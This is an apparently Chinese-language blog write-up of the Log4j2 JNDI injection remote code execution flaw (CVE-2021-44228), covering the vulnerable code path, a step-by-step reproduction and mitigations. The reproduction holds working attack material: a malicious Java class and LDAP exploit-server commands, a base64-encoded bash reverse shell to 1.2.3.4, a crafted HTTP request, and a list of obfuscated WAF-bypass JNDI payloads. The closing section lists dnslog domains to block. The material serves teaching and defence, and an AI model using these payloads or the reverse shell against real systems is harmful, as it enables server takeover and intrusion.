Apache Log4j2 remote code execution vulnerability

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。鉴于此漏洞危害较大,建议客户尽快采取措施防护此漏洞。

漏洞利用无需特殊配置,经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

Who is impacted?

许多厂商都容易受到这种攻击,Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。Github上总结了大量受害厂商:GitHub - YfryTchsGD/Log4jAttackSurface

Affected Apache log4j Versions

Apache Log4j 2.x < 2.15.0-rc2

Vulnerability analysis

略去一些非关键流程,日志信息最终会进入MessagePatternConverter.java 文件的format方法,如下图,当日志信息中出现 "${"关键字 则通过StrSubstitutor.java的replace方法对其进行替换和解析

最终通过StrSubstitutor.java文件中的substitute方法对传入的日志信息进行替换。这个函数主要作用就是提取出日志信息中的${}信息,并根据内容调用。varName就是提取出来的关键信息,最关键的位置如下:

在lookup中,prefix是对应配置类,name是其参数并通过调用对应方法进行解析

preview

lookup保存有如下解析类:

最终在JndiLookup.java中触发漏洞

How the Exploit

攻击原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

static Logger log = Logger.getLogger(log4jExample.class.getName());

/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");

// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);

String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}

攻击步骤

  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。
  • 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。
  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  • 攻击者执行恶意脚本。

How to 复现

1. 创建一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Log4jRCE {
public Log4jRCE(){
try{
// 要执行的命令
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}

public static void main(String[] argv) {
Log4jRCE e = new Log4jRCE();
}
}

把这个类编译之后会得到一个Log4jRCE.class并在该目录下运行启动http.server,python或php均可快速启动,如php -S 127.0.0.1:8888或python -m SimpleHTTPServer 8888

ahmCginbwVeKrNI

2.启动IDAP服务

1
2
3
4
git clone git@github.com:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
Dv8lonVA5Kfup9t

3.Run

DdlHzhFsqc3UNbj

Goby快速验证

TlUAKOByasvXSJz

VulFocus靶场复现

在线构建

http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c

或通过 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地环境运行,本地启动命令:docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

r3ld7KgBkVPDYbQ

在自己的VPS上,用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar开启ldap和rmi服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.2.3.4"

构建数据包

1
2
3
4
5
6
POST /hello  HTTP/1.1
Host: vulfocus.fofa.so:20679
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

payload=${jndi:ldap://********}

send requests

nLAX5w7CgiIGKvj

查看请求记录:

9a1UPWKiBqleSCu

nc反弹获取shell

v7sbFTKjwVOC3QI

Other Payload

payload=${jndi:${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}

payload=${jndi:${lowEr:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}

payload=${${sys:sun.cpu.isalist}jndi:${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}

payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}:${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}

payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}

payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}${sys:path.separator}${sys:file.separator}${sys:file.separator}1.2.3.4:1234/TomcatBypass/TomcatEcho}

payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}${sys:path.separator}${sys:file.separator}${sys:file.separator}1.2.3.4:1234${sys:file.separator}TomcatBypass${sys:file.separator}TomcatEcho}

payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}${sys:path.separator}${sys:file.separator}${sys:file.separator}1${sys:sun.cpu.isalist}.2${sys:sun.cpu.isalist}.3${sys:sun.cpu.isalist}.4${sys:sun.cpu.isalist}${sys:path.separator}1234${sys:file.separator}TomcatBypass${sys:file.separator}TomcatEcho}

Temporary solution

1、设置jvm参数:

“-Dlog4j2.formatMsgNoLookups=true”;

2、添加log4j2.component.properties配置文件,设置:

“log4j2.formatMsgNoLookups=True”;

3、系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”;

4、若相关用户暂时无法进行升级操作,也可通过禁止Log4j中SocketServer类所启用的socket端对公网开放来进行防护;

5、禁止安装log4j的服务器访问外网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下:

ceye.io

dnslog.link

dnslog.cn

dnslog.io

tu4.org

awvsscan119.autoverify.cn

burpcollaborator.net

s0x.cn

Reference

GitHub - tangxiaofeng7/apache-log4j-poc: Apache Log4j 远程代码执行

Remote code injection in Log4j · CVE-2021-44228 · GitHub Advisory Database · GitHub

Log4j – Changes

Log4j – Log4j 2 Lookups

GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

【安全通报】Apache Log4j2 远程代码执行漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院